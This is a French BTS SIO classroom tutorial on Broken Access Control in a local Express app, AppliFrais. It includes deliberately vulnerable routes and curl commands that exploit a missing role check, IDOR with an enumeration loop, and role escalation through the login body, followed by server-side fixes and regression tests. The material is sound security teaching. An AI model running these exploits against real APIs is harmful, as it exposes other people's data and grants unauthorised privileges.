Aller au contenu
Réussir mon BTS SIO

Tape une notion, une commande ou le nom d'une épreuve.

Par exemple

Contrôle d'accès10 livrablesQuiz corrigé

Broken Access Control

La faille n°1 du Top 10 OWASP, et la plus sournoise : « ça marche » en apparence, mais rien ne vérifie QUI a le droit. Un visiteur qui valide sa propre fiche, qui lit les frais d'un collègue en changeant un id dans l'URL… Aujourd'hui tu exploites ces trous d'autorisation sur AppliFrais, puis tu poses les bonnes barrières.

Par Josselyn C., prof de BTS SIO. Publié le , mis à jour le .

Objectif
exploiter et corriger les défauts de contrôle d'accès (rôle manquant, IDOR, escalade)
On manipule
AppliFrais en local, Express, middlewares d'autorisation, JWT
Pré-requis
AppliFrais (auth JWT, rôles visiteur/comptable, routes fiches)

Cadre légal : AppliFrais LOCAL uniquement. Accéder aux données d'autrui sans droit est un délit pénal.

Avant de commencer

Pourquoi cette séance

Le Broken Access Control (A01) est en tête du Top 10 OWASP — la faille la plus répandue et la plus coûteuse. Son principe : une fonctionnalité existe et marche, mais l'application ne vérifie pas si l'utilisateur a le droit de l'utiliser, ou d'accéder à cette donnée précise. Contrairement à l'injection (une donnée détournée), ici tout est « normal » côté technique — c'est le contrôle qui manque. Résultat : un visiteur valide ses propres fiches (auto-remboursement), lit les fiches d'un collègue, accède à l'espace comptable. Aujourd'hui tu provoques ces accès illégitimes sur AppliFrais, puis tu installes les barrières d'autorisation côté serveur.

Comment avancer (en autonomie)

Mise en place — ton terrain d'attaque

Tu travailles sur ta copie d'AppliFrais. Il te faut l'API démarrée et deux comptes visiteurs (pour l'IDOR, il faut un « autrui ») plus un comptable.

powershell
# dans le dossier de l'API AppliFrais
npm install
npm run dev          # Express ecoute sur http://localhost:3000

# dans un autre terminal : le front (optionnel pour ce TP, on attaque l'API)
npm run dev          # Vite sert http://localhost:5173
Ce que tu dois voir
API AppliFrais demarree sur http://localhost:3000
MongoDB connecte (appliFrais)

Ce que tu vas apprendre

ConceptCe que tu sauras faire
Authentification ≠ autorisationdistinguer « qui tu es » de « ce que tu as le droit de faire »
Rôle manquantappeler une route comptable en tant que visiteur
IDORlire/modifier la fiche d'autrui en changeant un id
Escaladepasser de visiteur à comptable
Contrôle serveurposer des middlewares d'autorisation fiables (requireRole, propriété)
Codes 401/403/404répondre correctement selon le défaut de droit
Deny by defaultrefuser par défaut, autoriser explicitement

0. Authentification ≠ autorisation

Deux mots qu'on confond, et c'est la source de la faille. Distingue-les une fois pour toutes :

NotionQuestionSur AppliFrais
Authentification« qui es-tu ? »login + mot de passe → un token JWT
Autorisation« as-tu le droit de faire ça ? »ce visiteur peut-il valider CETTE fiche ?

Schéma : Visiteur · + token JWT · Porte AUTH · token valide ? OK · Porte AUTZ · bon rôle ? MANQUE · /valider · exécutée ! · La 1re porte vérifie QUI. La 2e porte (a le DROIT ?) n'existe pas : l'action passe quand même.

Les deux grandes formes de la faille

FormeCe qui manqueExemple AppliFrais
Contrôle de fonctionvérifier le rôleun visiteur appelle /valider (réservé comptable)
Contrôle d'objet (IDOR)vérifier la propriétéun visiteur lit la fiche d'un AUTRE visiteur

Flag A1

Checkpoint

Dans AppliFrais, liste 3 routes et indique pour chacune : faut-il un rôle particulier ? faut-il être le propriétaire de la donnée ?

Rends : ton tableau (route → contrôle de fonction attendu → contrôle d'objet attendu).

0 sur 10 dans cette étape

1. Récupérer et lire ton token

Avant d'attaquer, il faut une « arme » : ton token. C'est lui que tu présentes à chaque requête. On va l'obtenir, puis le décoder pour comprendre ce qu'il contient — détail crucial pour le chapitre 3.

Étape 1 — se connecter et récupérer le token

curl -s -X POST http://localhost:3000/api/login \
     -H "Content-Type: application/json" \
     -d '{"login":"visiteurA","mdp":"secret"}'
Ce que tu dois voir
{"token":"eyJhbGciOiJIUzI1NiJ9.eyJpZCI6IjY2NWYxYTAyIiwicm9sZSI6InZpc2l0ZXVyIn0.Kf9s_Aa1"}

Étape 2 — stocker le token dans une variable

# on garde le token sous la main pour les requetes suivantes
TOKEN_A=eyJhbGciOiJIUzI1NiJ9.eyJpZCI6IjY2NWYxYTAyIiwicm9sZSI6InZpc2l0ZXVyIn0.Kf9s_Aa1

Étape 3 — décoder le JWT (et comprendre qu'il n'est PAS secret)

Un JWT a 3 parties séparées par des points : entête.charge_utile.signature. Les deux premières sont juste du base64 — lisible par n'importe qui. Décode la charge utile (la partie du milieu) :

powershell
# on isole la 2e partie (entre les deux points) et on la decode
echo eyJpZCI6IjY2NWYxYTAyIiwicm9sZSI6InZpc2l0ZXVyIn0 | base64 -d
Ce que tu dois voir
{"id":"665f1a02","role":"visiteur"}

Sous le capot du JWT — chiffres-repères pro

ÉlémentValeur / TaillePourquoi c'est important
Algorithme HS256HMAC-SHA256, clé ≥ 256 bits (32 octets)Symétrique : API et client partagent la même clé secrète. Si la clé fuit (dépôt Git public, logs…) → tous les tokens existants peuvent être forgés.
Algorithme RS256RSA, clé 2048 bits minimumAsymétrique : la clé privée signe, la clé publique vérifie. Chaque microservice peut vérifier sans posséder le secret de signature.
Durée recommandée — access token15 min à 1 hCourt car non révocable côté serveur (stateless). Si un token est volé, la fenêtre d'exploitation reste étroite.
Durée recommandée — refresh token7 à 30 joursStocké en cookie httpOnly (non lisible par JS), rotatif à chaque usage (refresh token rotation — RFC 6749 §10.4).
Taille typique d'un JWT AppliFrais~200 – 350 octetsTransporté dans chaque header HTTP. Ne jamais y mettre des objets lourds (rôles fins, permissions…) : ça gonfle chaque requête.
Attaque historique alg:noneCVE-2015-9235Bibliothèques anciennes acceptaient "alg":"none" dans l'entête → signature vide acceptée. Correctif : la lib vérifie que l'algo est dans une liste blanche côté serveur, jamais laissé au choix du client.

Flag A2

Checkpoint (token)

Récupère ton token visiteur, décode sa charge utile.

Rends : la commande de login + le JSON décodé du token (id + role). Confirme en une phrase pourquoi un JWT ne doit pas contenir de secret.

0 sur 10 dans cette étape

2. Rôle manquant : valider sans être comptable

Première vraie attaque : une route sensible qui vérifie le token mais pas le rôle.

// VULNERABLE -- on verifie le token (auth) mais PAS le role
router.patch('/api/fiches/:id/valider', auth, async (req, res) => {
  await FicheFrais.findByIdAndUpdate(req.params.id, { etat: 'VA' });
  res.json({ ok: true });
});

L'exploitation

# avec mon token VISITEUR, j'appelle la route comptable :
curl -s -X PATCH http://localhost:3000/api/fiches/665f1a02/valider \
     -H "Authorization: Bearer $TOKEN_A"
Ce que tu dois voir
{"ok":true}

Je vérifie que ma fiche est bien passée à l'état VA (validée) :

curl -s http://localhost:3000/api/fiches/665f1a02 \
     -H "Authorization: Bearer $TOKEN_A"
Ce que tu dois voir
{"_id":"665f1a02","visiteurId":"665f1a02","etat":"VA","montant":420}
--> ma fiche est VALIDEE sans qu'aucun comptable ne soit intervenu

Flag B1

Production (rôle manquant)

Sur AppliFrais local, avec un token visiteur, appelle une route réservée au comptable (validation/mise en paiement) qui ne vérifie pas le rôle.

Rends : la commande + la preuve que l'action a réussi (fiche passée à VA). Tu viens de t'auto-valider une fiche.

0 sur 10 dans cette étape

3. IDOR : lire la fiche d'un autre

L'IDOR (Insecure Direct Object Reference) : une route renvoie un objet désigné par un id dans l'URL, sans vérifier que le demandeur en est le propriétaire.

// VULNERABLE -- on renvoie la fiche par id, sans verifier le proprietaire
router.get('/api/fiches/:id', auth, async (req, res) => {
  const fiche = await FicheFrais.findById(req.params.id);
  res.json(fiche);                // et si la fiche n'est pas a moi ?
});

Schéma : Visiteur A · (connecté) · Serveur · aucun contrôle owner · MongoDB · 1. GET /fiches/<id de B> · 2. findById(id) · 3. Fiche de B renvoyée à A (qui n'en est PAS le propriétaire) · Le serveur sait QUI demande, mais ne vérifie pas À QUI appartient la fiche.

L'exploitation : énumérer les id

# je connais l'id de MA fiche. J'essaie celui d'un autre :
curl -s http://localhost:3000/api/fiches/665f1a07 \
     -H "Authorization: Bearer $TOKEN_A"
Ce que tu dois voir
{"_id":"665f1a07","visiteurId":"665f1a05","etat":"CL","montant":230,"libelle":"taxi gare"}
--> ce n'est PAS ma fiche (visiteurId different du mien), et je la lis quand meme

Avec des id séquentiels ou devinables, on énumère : une boucle teste ...a01, ...a02, ...a03… et aspire toutes les fiches.

Mise à l'échelle — une boucle d'énumération

Dans la réalité, l'attaquant n'essaie pas un id à la main : il automatise. Sur une API vulnérable, une boucle bash aspire l'ensemble des fiches en quelques secondes :

# boucle bash : aspirer plusieurs fiches via IDOR
# (ids découverts via listing d'une autre route, ou fuités dans les logs)
for ID in 665f1a00 665f1a01 665f1a02 665f1a03 665f1a04 665f1a05 665f1a06 665f1a07
do
  echo "=== $ID ==="
  curl -s http://localhost:3000/api/fiches/$ID \
       -H "Authorization: Bearer $TOKEN_A" \
  | grep -E '"_id"|"visiteurId"|"montant"|"libelle"'
done
Ce que tu dois voir
=== 665f1a01 ===
"_id":"665f1a01","visiteurId":"665f1a01","montant":120,"libelle":"repas client"
=== 665f1a05 ===
"_id":"665f1a05","visiteurId":"665f1a05","montant":880,"libelle":"hotel Lyon"
=== 665f1a07 ===
"_id":"665f1a07","visiteurId":"665f1a05","montant":230,"libelle":"taxi gare"

Note : les ObjectId MongoDB ne sont pas aléatoires — ils encodent un timestamp Unix (4 premiers octets), un identifiant de machine (3 octets) et un compteur (3 octets). Des id générés à quelques secondes d'intervalle sont très proches : faciles à énumérer si on en connaît un seul.

Flag B2

Production (IDOR)

Sur AppliFrais local, connecté en visiteur A, accède à une fiche du visiteur B en changeant l'id dans l'URL.

Rends : les deux requêtes (la tienne + celle d'autrui) + la preuve que tu lis des données qui ne t'appartiennent pas (le visiteurId renvoyé n'est pas le tien).

0 sur 10 dans cette étape

Flag D1

Investigation

Ouvre la page OWASP « A01:2021 Broken Access Control ». Trouve une sous-catégorie d'accès cassé qu'on n'a pas vue ici (ex. force browsing, manipulation de métadonnées/JWT, mauvaise config CORS).

Rends : son nom + une phrase expliquant en quoi elle casse l'autorisation.

0 sur 10 dans cette étape

4. Escalade par le client

Troisième forme : l'appli fait confiance à une donnée contrôlée par le client pour décider des droits.

// VULNERABLE -- le role vient du body / d'un champ modifiable
router.post('/api/login', async (req, res) => {
  const user = await Visiteur.findOne({ login: req.body.login });
  // ... verif mdp ...
  const token = jwt.sign({ id: user.id, role: req.body.role }, SECRET); // role du CLIENT !
});

L'exploitation

# je glisse mon propre role dans le corps du login
curl -s -X POST http://localhost:3000/api/login \
     -H "Content-Type: application/json" \
     -d '{"login":"visiteurA","mdp":"secret","role":"comptable"}'
Ce que tu dois voir
{"token":"eyJhbGciOiJIUzI1NiJ9.eyJpZCI6IjY2NWYxYTAyIiwicm9sZSI6ImNvbXB0YWJsZSJ9.Zx7..."}

Je décode la charge utile du nouveau token (comme au chap. 1) :

Ce que tu dois voir
{"id":"665f1a02","role":"comptable"}
--> je suis simple visiteur, mais mon token dit "comptable" : j'accede a tout l'espace comptable

Flag B3

Production (escalade)

Si ta version vulnérable lit le rôle depuis le client, obtiens un token comptable en tant que simple visiteur.

Rends : la requête + le token décodé montrant role: comptable + ce que ça t'ouvre.

0 sur 10 dans cette étape

5. La correction : contrôler côté serveur

Avant le code, fixe le vocabulaire des réponses : le bon code HTTP selon le défaut.

CodeSensQuand le renvoyer
401 Unauthorizedpas (ou mauvais) tokenl'utilisateur n'est pas authentifié — « connecte-toi »
403 Forbiddenauthentifié mais pas le droitbon token, mauvais rôle ou pas propriétaire
404 Not Foundressource introuvableid inexistant — ou pour masquer l'existence d'un objet

Barrière 1 — le rôle vient du serveur, pas du client

// le role est lu en BASE (user.role), jamais du body
const token = jwt.sign({ id: user.id, role: user.role }, SECRET);

Barrière 2 — middleware de rôle sur les routes sensibles

function requireRole(role) {
  return (req, res, next) => {
    if (req.user.role !== role) return res.status(403).json({ error: 'interdit' });
    next();
  };
}
router.patch('/api/fiches/:id/valider', auth, requireRole('comptable'), valider);

Barrière 3 — vérifier la propriété (contre l'IDOR)

router.get('/api/fiches/:id', auth, async (req, res) => {
  const fiche = await FicheFrais.findById(req.params.id);
  if (!fiche) return res.status(404).json({ error: 'introuvable' });
  // l'utilisateur est-il proprietaire (ou comptable) ?
  if (String(fiche.visiteurId) !== req.user.id && req.user.role !== 'comptable')
    return res.status(403).json({ error: 'interdit' });
  res.json(fiche);
});
// centraliser : tout le routeur exige au moins une authentification
router.use(auth);                       // deny by default : aucune route anonyme
router.patch('/fiches/:id/valider', requireRole('comptable'), valider);

Aller plus loin — RBAC vs ABAC

ModèleLogiqueQuand l'utiliserExemple AppliFrais
RBAC
(Role-Based Access Control)
Droits attachés à un rôle (visiteur / comptable / admin). Simple, lisible, rapide à implémenter.La plupart des apps métier avec des rôles stables et peu nombreux. C'est le modèle d'AppliFrais.requireRole('comptable') sur les routes de validation — si le rôle n'est pas bon, 403.
ABAC
(Attribute-Based Access Control)
Droits selon des attributs contextuels : rôle + département + heure + sensibilité de la donnée + IP. Très fin, plus complexe.Systèmes complexes où le rôle seul ne suffit pas (ex. : un comptable ne valide que les fiches de son agence).if user.agenceId !== fiche.agenceId → 403 — le rôle est comptable mais le périmètre est restreint.

Flag B4

Production (corriger)

Corrige AppliFrais : (1) rôle issu de la base, (2) requireRole('comptable') sur les routes sensibles, (3) vérif de propriété sur l'accès aux fiches. Re-tente les attaques B1, B2, B3.

Rends : le code des 3 barrières + les preuves que les 3 attaques renvoient désormais 403.

0 sur 10 dans cette étape

Flag C1

Debug (faux correctif)

Un collègue « corrige » l'IDOR ainsi — mais désormais personne ne peut lire sa propre fiche (tous reçoivent 403) :

if (fiche.visiteurId !== req.user.id) return res.status(403).json({error:'interdit'});

Explique pourquoi et corrige la ligne. Rends : la cause (type) + la ligne corrigée + la preuve que le propriétaire lit sa fiche (200) et qu'autrui reçoit bien 403.

0 sur 10 dans cette étape

6. Non-régression : un test qui garde la porte

Une correction de sécurité, ça se verrouille : un test automatisé qui échoue le jour où quelqu'un réintroduit la faille. C'est de la non-régression de sécurité.

const request = require('supertest');
const app = require('../app');

test('un visiteur ne peut pas valider une fiche (403)', async () => {
  const res = await request(app)
    .patch('/api/fiches/' + ficheId + '/valider')
    .set('Authorization', 'Bearer ' + tokenVisiteur);
  expect(res.status).toBe(403);   // si un jour ca repasse a 200 : alerte rouge
});
Ce que tu dois voir
PASS  tests/access.test.js
  A01 Broken Access Control
    OK  un visiteur ne peut pas valider une fiche (403)

Tests: 1 passed, 1 total

Flag E1

Extension (test de non-régression)

Écris un test Jest/supertest qui vérifie qu'un visiteur reçoit 403 sur /valider. Ajoute-en un second : un visiteur reçoit 403 en lisant la fiche d'autrui (IDOR).

Rends : le code des 2 tests + la sortie PASS.

0 sur 10 dans cette étape

Mini-projet : rapport & carte de menace

Rédige le rapport (format E7) des défauts de contrôle d'accès trouvés sur AppliFrais :

  1. Description : Broken Access Control (A01), les 3 formes trouvées ;
  2. Preuve : pour chacune, la requête + l'accès illégitime obtenu ;
  3. Impact : auto-validation, lecture des données d'autrui, escalade ;
  4. Correction : rôle serveur + requireRole + vérif propriété + deny by default ;
  5. Vérification : les 3 attaques renvoient 403 (et le test de non-régression passe).

Flag B5

Mini-projet (livrable)

Rédige le rapport complet (5 sections) et mets à jour ta carte de menace : A01 passe de « exposé » à « corrigé ».

Rends : ton rapport + la ligne mise à jour. A01 est la faille n°1 du Top 10 : ce rapport est un incontournable de l'E7.

0 sur 10 dans cette étape

Pour finir

L'essentiel

NotionÀ retenir
la confusionauthentifié (qui) ≠ autorisé (a le droit)
3 formesrôle manquant, IDOR (propriété), escalade (rôle du client)
le JWTsigné mais lisible — jamais de secret dedans, rôle issu de la base
paraderôle serveur + requireRole + vérif propriété (String/ObjectId !)
codes401 non connecté · 403 interdit · 404 introuvable
principedeny by default, sécurité TOUJOURS côté serveur

Vérifie tes acquis

Exercice Réussi À revoir

  1. Différence entre authentification et autorisation ?
  2. Qu'est-ce qu'un IDOR, et pourquoi un id imprévisible (UUID) ne suffit pas ?
  3. Pourquoi peut-on lire un JWT sans secret, mais pas le falsifier ?
  4. Pourquoi cacher un bouton côté front ne protège pas une route ?
  5. Pourquoi ne jamais lire le rôle depuis le body du client ?
  6. Quels codes HTTP pour : non connecté / interdit / introuvable ?
  7. Pourquoi comparer fiche.visiteurId à req.user.id sans String() casse tout ?
  8. Que signifie « deny by default » ?
Voir le corrigéMasquer le corrigé de l'exercice
  1. Authentification = prouver qui on est (login + mdp → token). Autorisation = vérifier qu'on a le droit de faire ou voir cette chose précise. Un token valide prouve qu'on est authentifié, il ne dit rien sur ce qu'on est autorisé à faire.
  2. Un IDOR : accéder à l'objet d'autrui (fiche, document, profil) en changeant son id dans l'URL, sans que le serveur vérifie la propriété. Un id imprévisible (UUID) ne suffit pas car les id peuvent fuir (logs, lien partagé, réponse d'une autre route), et surtout l'obscurité n'est pas un contrôle d'accès.
  3. Un JWT est encodé en base64 (non chiffré) : n'importe qui peut décoder l'entête et la charge utile sans aucun secret. Il est signé (HMAC-SHA256 ou RSA) : modifier la charge utile casse la signature → le serveur rejette le token (401). Lisible par tous, infalsifiable sans la clé.
  4. Cacher un bouton en React ne retire pas la route côté serveur. Un attaquant appelle l'API directement (curl, Postman, script) sans jamais charger ton interface. Toute sécurité côté client est contournable ; la protection réelle est côté serveur uniquement.
  5. Le client contrôle le body qu'il envoie : il peut y mettre n'importe quelle valeur de rôle. Si le serveur utilise cette valeur pour signer le JWT, un visiteur obtient un token comptable légitimement signé par le serveur lui-même. Le rôle doit venir de la base de données, source de vérité, jamais du client.
  6. 401 Unauthorized → non authentifié (token absent, invalide ou expiré). 403 Forbidden → authentifié mais interdit (bon token, mauvais rôle ou pas propriétaire de la ressource). 404 Not Found → ressource introuvable, ou utilisé intentionnellement pour ne pas révéler l'existence d'un objet auquel on n'a pas accès.
  7. fiche.visiteurId est un ObjectId Mongoose (objet JS), req.user.id est une string. En JavaScript, objetQuelconque !== "une string" est toujours true, même si les valeurs représentent le même id → tout le monde reçoit 403, même le propriétaire. Solution : String(fiche.visiteurId) === req.user.id ou fiche.visiteurId.equals(req.user.id).
  8. « Deny by default » : tout accès est interdit par défaut ; on autorise explicitement ce qui est permis. L'opposé serait « allow by default » : une route oubliée sans middleware = accès total. Avec deny by default, une route oubliée = inaccessible → l'oubli ne crée pas de faille, il crée un bug fonctionnel qu'on voit tout de suite.

Tu avais trouvé ?

Glossaire

MotDéfinition
Broken Access Controldéfaut de vérification des droits d'accès (A01)
Authentificationprouver qui on est (login → token)
Autorisationvérifier qu'on a le droit de faire/voir une chose
JWTjeton signé en 3 parties (entête.charge.signature), base64, non chiffré
IDORaccéder à un objet d'autrui via son id, sans contrôle de propriété
Énumérationtester des id à la chaîne pour aspirer des objets
Escalade de privilègesobtenir plus de droits que ceux accordés
requireRolemiddleware Express qui refuse (403) si le rôle ne convient pas
Deny by defaulttout interdit par défaut, autorisé explicitement
Non-régressiontest automatisé qui échoue si une faille corrigée réapparaît

Contrôle d'accès terminé ?

Coche chaque livrable quand tu l'as : c'est la preuve que l'étape est acquise.

livrables
–
quiz réussi
–
de série
–
Voir toutes les étapes du TP